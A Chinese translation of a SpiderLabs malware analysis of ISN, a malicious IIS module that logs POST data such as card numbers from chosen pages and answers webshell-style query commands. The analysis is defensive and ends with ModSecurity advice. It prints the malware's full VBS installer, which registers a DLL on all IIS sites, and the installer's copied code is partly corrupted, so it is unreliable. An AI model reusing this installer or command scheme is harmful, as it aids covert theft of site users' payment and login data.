恶意软件伪装成IIS模块加载 多数防毒产品免杀

安全
最近,国外安全公司发现了一些以DLL动态链接库形式存在的IIS模块存在恶意风险,这些恶意模块之所以受关注,很大原因是因为它们能躲过目前几乎所有的反病毒产品,攻击者借助这些模块发送恶意POST数据包,并遵循恰当的机制以此来获得敏感信息。

1、摘要

最近,国外安全公司发现了一些以DLL动态链接库形式存在的IIS模块存在恶意风险,这些恶意模块之所以受关注,很大原因是因为它们能躲过目前几乎所有的反病毒产品,攻击者借助这些模块发送恶意POST数据包,并遵循恰当的机制以此来获得敏感信息。

这种恶意程序的目标不仅仅局限于银行、电子商务网站的加密数据,同时还被用来获取例如登录账户及其他被发送到IIS实例上的数据(HTTP Header、MS-Chap令牌等)。同时要注意的是,这次发现的恶意软件漏洞和之前报告的恶意软件"Pony"没有任何关系。Pony主要针对的是终端用户,而这个IIS Module恶意程序主要是针对Web Server的。以下为报告译文:

下面是这次发现的恶意程序在各大反病毒引擎上的检查结果:

https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/

事实证明,我所引用的这个DLL是一个IIS的原生安装模块,我想也该是时候对这种恶意程序进行一个总结了,之所以这么做,有以下2个原因:

a)在我写这篇文章的时候,大部分的反病毒软件都不会IIS目录下的DLL模块进行必要的检查(通过设置白名单等),这导致了IIS的重要模块被替换后无法被杀毒软件捕获到异常。虽然病毒的安装程序(用于进行替换工作的程序)也只是被少数的反病毒软件检测出异常,因为这些检测出异常的杀毒引擎大多数采取了"启发式扫描";

b)我觉得这个恶意代码非常的精巧。

2、介绍

让我们先看一下这个病毒的安装程序。程序允许带许多参数变量以适应不同的环境:

-path : [恶意程序将被安装的路径]
-i : [目标URL地址, 例如 "/sensitive.aspx"
-u : [卸载恶意程序]
-is632 : [IIS6 32-Bit]
-is664 : [IIS6 64-Bit]

 

恶意软件伪装成IIS模块加载 多数防毒产品免杀

 

事实上,安装程序非常简单。它包含有四个内嵌的式DLL文件(在PE结构的资源节区中),在安装的时候根据目标系统的版本进行动态选择:

IIS6 + 32-Bit
IIS6 + 64-Bit
IIS7 + 32-Bit
IIS7 + 64-Bit

此外,这个ISN恶意程序也有一个VBS文件被嵌入到了PE的资源节区中(文件的内容请参考引用部分),这个VBS脚本文件用于安装或者卸载用于替换IIS模块的恶意DLL文件(即上面说到那4个DLL文件)。

一旦运行,ISN.exe将执行以下操作:

1. 将根据我们"-path"指定的位置,或者当前的工作目录。把VBS复制到这个路径下,为后面的安装做准备,这个VBS文件将在安装完成删除,不会留下痕迹。
2. 创建一个配置文件([文件].cfg)在同一个目录中。这个文件包含一个列表。
3. 恶意程序的目标URL列表。
4. 检查IIS版本以及攻击目标的操作系统架构。
5. 提取相应的DLL到安装目录(从PE的资源节区中)。
6. 调用VBS文件文件将恶意的DLL模块安装为IIS的模块。(IIS只是通过DLL的文件名进行动态加载,即使这是一个恶意程序,DLL签名技术在这里并不能起到防御作用)。

解压运行后的情况如下图:

恶意软件伪装成IIS模块加载 多数防毒产品免杀

在安装的过程中会产生一些日志信息,这些信息有助于我们判断安装是否成功以及失败的原因:

恶意软件伪装成IIS模块加载 多数防毒产品免杀

一旦成功安装的模块,它将监控在配置文件(isn.cfg)中指定的uri和dump(记录)任何捕获到的POST请求,将这些信息记录到[fileName].log中。该模块还将监控QUERY_STRING参数(IIS中的GPC参数,相当于PHP中的$_REQUEST),并可以接受一些攻击者发送的命令(就像一个webshell一样)。我编写了一个简单的IIS实例来演示这个过程如何发生。

3. 演示

如下我们可以看到,我已经创建了一个简单的web表单,将模拟一个实际的电子商务网站。用户输入他们的名字和信用卡号码和提交信息,然后脚本"/buy.aspx"返回用户输入的数据。

恶意软件伪装成IIS模块加载 多数防毒产品免杀

在本次演示中,我设置一个自签名证书(self-signed certificate ),这样所有的HTTP交互都通过SSL通信。

恶意软件伪装成IIS模块加载 多数防毒产品免杀

现在,所有的正常的HTTP业务通信都先和我们的恶意程序进行了交互,这里要注意的,我们必须在配置文件中明确指明我们要"跟踪"的脚本文件(例如,buy.aspx)。这样,当指定的.aspx脚本产生HTTP通信时,ISN.EXE会自动对捕获到的数据进行记录

恶意软件伪装成IIS模块加载 多数防毒产品免杀

我前面提到的,这个恶意程序可以像webshell那样工作,原因是因为它同时监测QUERY_STRING参数并对其中包含的"特征字符串"进行匹配检索。具体地说,它将寻找以下命令:

1. isn_getlog——的内容并返回。日志文件
2. isn_logdel——删除并。日志文件
3. isn_logpath——返回的路径并。日志文件

这些命令可以简单地通过提供GET参数进行远程发送。

"isn_getlog" example:

恶意软件伪装成IIS模块加载 多数防毒产品免杀

"isn_logdel" example:

恶意软件伪装成IIS模块加载 多数防毒产品免杀

"isn_logpath" example:

恶意软件伪装成IIS模块加载 多数防毒产品免杀

4. 总结

总的来说,这个恶意软件似乎没有广泛传播,只有在一些个人的案例中出现。然而,极低的检出率与恶意软件的目标功能的结合使这中恶意程序成为一个非常现实的威胁。

Trustwave WebDefend和ModSecurity可用于在"感染路径"的起点阻止这个恶意程序,它们可以检测是否敏感的用户数据,如信用卡号码出现在出站数据中(outbound data)。ModSecurity的链式过滤规则可以很好的对付这个问题,保证数据从入站到出站每一个环节的安全。

5. 引用

isn.exe
http://www.findthatfile.com/search-1990823-fEXE/software-tools-download-isn-exe.htm
HASP.EXE
http://www.xrite.com/product_overview.aspx?ID=593&Action=support&SupportID=3339
installer (9/48) – https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/analysis/
VBS File (0/49) – https://www.virustotal.com/en/file/688b80289a0c3771c7cee689c50a61b1c5215e8e5ac39a1120b3c7e4f4ada002/analysis/
IIS6 64-Bit (0/49) – https://www.virustotal.com/en/file/956ed56ecc574f68b637e22add7c8e3cb0deea3b1e0dd02abea165bfcb7e3786/analysis/
IIS6 32-Bit (0/47) – https://www.virustotal.com/en/file/9f501c052f2d4f4b0954f6060c7111f272ae29f9d88188d37c961c38e13e3905/analysis/
IIS7+ 64-Bit (0/46) – https://www.virustotal.com/en/file/c6847600910ab196652a38e94ecf592e645d43025d1d61b3710b2f715238307b/analysis/
IIS7+ 32-Bit (0/47) – https://www.virustotal.com/en/file/157174f0b9be66e3c9090c95efdd1dd23b19e42aa671758ebac5540a173f760c/analysis/
Content of VBS File – https://gist.github.com/jgrunzweig/7840987
  1. OPTION EXPLICIT 
  2.   
  3. DIM CRLF, TAB 
  4. DIM strServer 
  5. DIM objWebService 
  6. DIM WebSvcObj 
  7.   
  8. dim webID 
  9. dim DllName 
  10. dim strScriptMap 
  11. dim objVDir 
  12. dim arrScriptMaps 
  13. dim arrScriptMapsTmp 
  14. dim ISAPIlist 
  15. dim bAdd 
  16. dim bRemove 
  17. dim i 
  18. dim j 
  19. dim cc 
  20.   
  21. TAB  = CHR( 9 ) 
  22. CRLF = CHR( 13 ) & CHR( 10 ) 
  23. ISAPIlist = 0 
  24. bAdd = 0 
  25. bRemove = 0 
  26. cc = 0 
  27.   
  28. If Wscript.Arguments.Count < 2 Then 
  29.     If Wscript.Arguments.Count = 0 Then 
  30.         Wscript.Echo "cscript isn.vbs /add <Path\FileName> - add to all web sites" 
  31.         Wscript.Echo "cscript isn.vbs /remove <FileName> - remove from all web sites" 
  32.         Wscript.Echo "cscript isn.vbs /isapilist <ID> - list ISAPI for web site <ID>
  33.         Wscript.Echo "cscript isn.vbs /weblist - list web sites" 
  34.         Wscript.Echo "Example:" 
  35.         Wscript.Echo "cscript isn.vbs /add C:\WINDOWS\isn\isn.dll" 
  36.         Wscript.Echo "cscript isn.vbs /remove isn.dll" 
  37.         Wscript.Quit 
  38.     Else 
  39.         If Wscript.Arguments(0)="/weblist" Then 
  40.         &#039;list web sites id and names 
  41.         SET objWebService = GetObject( "IIS://localhost/W3SVC" ) 
  42.         EnumWebsites(objWebService) 
  43.         Wscript.Quit 
  44.         Else 
  45.         Wscript.Echo "wrong param" 
  46.         Wscript.Quit 
  47.         End If 
  48.     End If 
  49. Else 
  50.  If Wscript.Arguments(0)="/isapilist" Then 
  51.     webID = Wscript.Arguments(1) 
  52.     ISAPIlist = 1 
  53.  ElseIf Wscript.Arguments(0)="/add" Then 
  54.     bAdd = 1 
  55.     DllName = Wscript.Arguments(1) 
  56.  ElseIf Wscript.Arguments(0)="/remove" Then 
  57.     bRemove = 1 
  58.     DllName = Wscript.Arguments(1) 
  59.  End If 
  60. End If 
  61.   
  62. If ( (bAdd=0) And (bRemove=0) And (ISAPIlist=0) ) Then 
  63.         Wscript.Echo "Wrong params!" 
  64.         Wscript.Quit 
  65. End If 
  66.   
  67. If bAdd=1 Then 
  68. SET objWebService = GetObject( "IIS://localhost/W3SVC" ) 
  69. strScriptMap = "*,"+DllName+",4,All" 
  70. AddToWebsites(objWebService) 
  71. Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC") 
  72. WebSvcObj.EnableExtensionFile("*.dll") 
  73. WebSvcObj.SetInfo 
  74. End If 
  75.   
  76. If bRemove=1 Then 
  77. SET objWebService = GetObject( "IIS://localhost/W3SVC" ) 
  78. RemoveFromWebsites(objWebService) 
  79. Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC") 
  80. WebSvcObj.DisableExtensionFile("*.dll") 
  81. WebSvcObj.SetInfo 
  82. Wscript.Echo DllName + " deleted" 
  83. End If 
  84.   
  85. If ISAPIlist=1 Then 
  86. Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+webID+"/Root") 
  87. arrScriptMaps = objVDir.Get("ScriptMaps") 
  88. For i = LBound(arrScriptMaps) to UBound(arrScriptMaps) 
  89. Wscript.Echo arrScriptMaps(i) 
  90. Next 
  91. Wscript.Quit 
  92. End If 
  93.   
  94. FUNCTION AddToWebsites( objWebService ) 
  95.     DIM objWebServer, strBindings 
  96.   
  97.     FOR EACH objWebServer IN objWebService 
  98.         IF objWebserver.Class = "IIsWebServer" THEN 
  99.     Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root") 
  100.     arrScriptMaps = objVDir.Get("ScriptMaps") 
  101.     arrScriptMapsarrScriptMapsTmp = arrScriptMaps 
  102.     ReDim Preserve arrScriptMaps(UBound(arrScriptMaps) + 1) 
  103.     j = LBound(arrScriptMaps) 
  104.     arrScriptMaps(j) = strScriptMap 
  105.     j = 0 
  106.      
  107.     For i = 1 to UBound(arrScriptMaps) 
  108.         arrScriptMaps(i)=arrScriptMapsTmp(j) 
  109.         jj = j+1 
  110.     Next 
  111.      
  112.     objVDir.Put "ScriptMaps", arrScriptMaps 
  113.     objVDir.SetInfo 
  114.      
  115.     Wscript.Echo "Add "+DllName+" to Web Site ID "+objWebserver.Name+" success!" 
  116.         END IF 
  117.     NEXT 
  118.   
  119. END FUNCTION 
  120.   
  121. FUNCTION RemoveFromWebsites( objWebService ) 
  122.     DIM objWebServer, strBindings 
  123.   
  124.     FOR EACH objWebServer IN objWebService 
  125.         IF objWebserver.Class = "IIsWebServer" THEN 
  126.          
  127.         Do 
  128.         Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root") 
  129.      
  130.         arrScriptMaps = objVDir.Get("ScriptMaps") 
  131.         arrScriptMapsarrScriptMapsTmp = arrScriptMaps 
  132.         cc=0 
  133.          
  134.         For i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp) 
  135.             If InStr(arrScriptMapsTmp(i), DllName)>0 then 
  136.                 arrScriptMapsTmp(i) = "" 
  137.                 cccc=cc+1 
  138.                 Wscript.Echo "Found "+DllName+" in "+objWebserver.Name+", delete" 
  139.                &#039;exit for &#039;exit loop 
  140.             End If 
  141.         Next 
  142.          
  143.         If cc=0 Then 
  144.             Wscript.Echo DllName+" in "+objWebserver.Name+" NOT found" 
  145.             Exit Do 
  146.         End If 
  147.          
  148.         ReDim Preserve arrScriptMaps(UBound(arrScriptMaps)-cc) 
  149.          
  150.         j = LBound(arrScriptMapsTmp) 
  151.         for i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp) 
  152.         If arrScriptMapsTmp(i)<>"" Then 
  153.             arrScriptMaps(j)=arrScriptMapsTmp(i) 
  154.             jj = j+1 
  155.         End If 
  156.         Next 
  157.          
  158.         objVDir.Put "ScriptMaps", arrScriptMaps 
  159.         objVDir.SetInfo 
  160.         Exit Do 
  161.     Loop While False 
  162.   
  163.         END IF 
  164.     NEXT 
  165.   
  166. END FUNCTION 
  167.   
  168. FUNCTION EnumWebsites( objWebService ) 
  169.     DIM objWebServer, strBindings 
  170.   
  171.     FOR EACH objWebServer IN objWebService 
  172.         IF objWebserver.Class = "IIsWebServer" THEN 
  173.             WScript.Echo _ 
  174.                 "Site ID = " & objWebserver.Name & CRLF & _ 
  175.                 "Comment = """ & objWebServer.ServerComment & """ " & CRLF & _ 
  176.                 "State   = " & State2Desc( objWebserver.ServerState ) &#039;& CRLF & _ 
  177.                 &#039;"LogDir  = " & objWebServer.LogFileDirectory & _ 
  178.                 &#039;"" 
  179.   
  180.             &#039; Enumerate the HTTP bindings (ServerBindings) and 
  181.             &#039; SSL bindings (SecureBindings) 
  182.             &#039;strBindings = EnumBindings( objWebServer.ServerBindings ) & _ 
  183.             &#039;              EnumBindings( objWebServer.SecureBindings ) 
  184.             &#039;IF NOT strBindings = "" THEN 
  185.             &#039;    WScript.Echo "IP Address" & TAB & _ 
  186.             &#039;                 "Port" & TAB & _ 
  187.             &#039;                 "Host" & CRLF & _ 
  188.             &#039;                 strBindings 
  189.             &#039;END IF 
  190.         END IF 
  191.     NEXT 
  192.   
  193. END FUNCTION 
  194.   
  195. FUNCTION EnumBindings( objBindingList ) 
  196.     DIM i, strIP, strPort, strHost 
  197.     DIM reBinding, reMatch, reMatches 
  198.     SET reBinding = NEW RegExp 
  199.     reBinding.Pattern = "([^:]*):([^:]*):(.*)" 
  200.   
  201.     FOR i = LBOUND( objBindingList ) TO UBOUND( objBindingList ) 
  202.         &#039; objBindingList( i ) is a string looking like IP:Port:Host 
  203.         SET reMatches = reBinding.Execute( objBindingList( i ) ) 
  204.         FOR EACH reMatch IN reMatches 
  205.             strIP = reMatch.SubMatches( 0 ) 
  206.             strPort = reMatch.SubMatches( 1 ) 
  207.             strHost = reMatch.SubMatches( 2 ) 
  208.   
  209.             &#039; Do some pretty processing 
  210.             IF strIP = "" THEN strIP = "All Unassigned" 
  211.             IF strHost = "" THEN strHost = "*" 
  212.             IF LEN( strIP ) < 8 THEN strIPstrIP = strIP & TAB 
  213.   
  214.             EnumBindingsEnumBindings = EnumBindings & _ 
  215.                            strIP & TAB & _ 
  216.                            strPort & TAB & _ 
  217.                            strHost & TAB & _ 
  218.                            "" 
  219.         NEXT 
  220.   
  221.         EnumBindingsEnumBindings = EnumBindings & CRLF 
  222.     NEXT 
  223.   
  224. END FUNCTION 
  225.   
  226. FUNCTION State2Desc( nState ) 
  227.     SELECT CASE nState 
  228.     CASE 1 
  229.         State2Desc = "Starting (MD_SERVER_STATE_STARTING)" 
  230.     CASE 2 
  231.         State2Desc = "Started (MD_SERVER_STATE_STARTED)" 
  232.     CASE 3 
  233.         State2Desc = "Stopping (MD_SERVER_STATE_STOPPING)" 
  234.     CASE 4 
  235.         State2Desc = "Stopped (MD_SERVER_STATE_STOPPED)" 
  236.     CASE 5 
  237.         State2Desc = "Pausing (MD_SERVER_STATE_PAUSING)" 
  238.     CASE 6 
  239.         State2Desc = "Paused (MD_SERVER_STATE_PAUSED)" 
  240.     CASE 7 
  241.         State2Desc = "Continuing (MD_SERVER_STATE_CONTINUING)" 
  242.     CASE ELSE 
  243.         State2Desc = "Unknown state" 
  244.     END SELECT 
  245.   
  246. END FUNCTION 
  247.  
  248. The Curious Case of the Malicious IIS Module  
  249. Reference From: http://blog.spiderlabs.com/2013/12/the-curious-case-of-the-malicious-iis-module.html 
  250. Translated By: LittleHann 

 

责任编辑:蓝雨泪 来源: FreebuF
相关推荐

2013-12-12 11:08:24

恶意软件IIS服务器微软

2023-08-30 07:19:49

2022-01-06 07:53:39

恶意软件恶意程序网络攻击

2020-03-14 16:40:15

安全病毒黑客

2017-02-27 16:28:00

2022-09-01 10:28:10

恶意软件恶意应用挖矿

2017-04-01 02:36:15

2022-06-05 13:59:01

恶意软件安卓Android

2021-10-29 16:28:48

Android恶意软件网络攻击

2022-01-17 15:13:52

恶意软件操作系统

2022-03-17 11:49:55

恶意软件安全工具钓鱼攻击

2014-09-01 10:33:34

2019-01-07 08:07:13

2011-05-16 15:42:06

2022-03-22 15:58:18

恶意软件BitRAT远程访问木马

2021-04-30 07:49:58

FluBot恶意软件木马

2011-08-30 10:46:42

2017-01-04 15:53:09

2017-01-03 20:43:44

点赞
收藏

51CTO技术栈公众号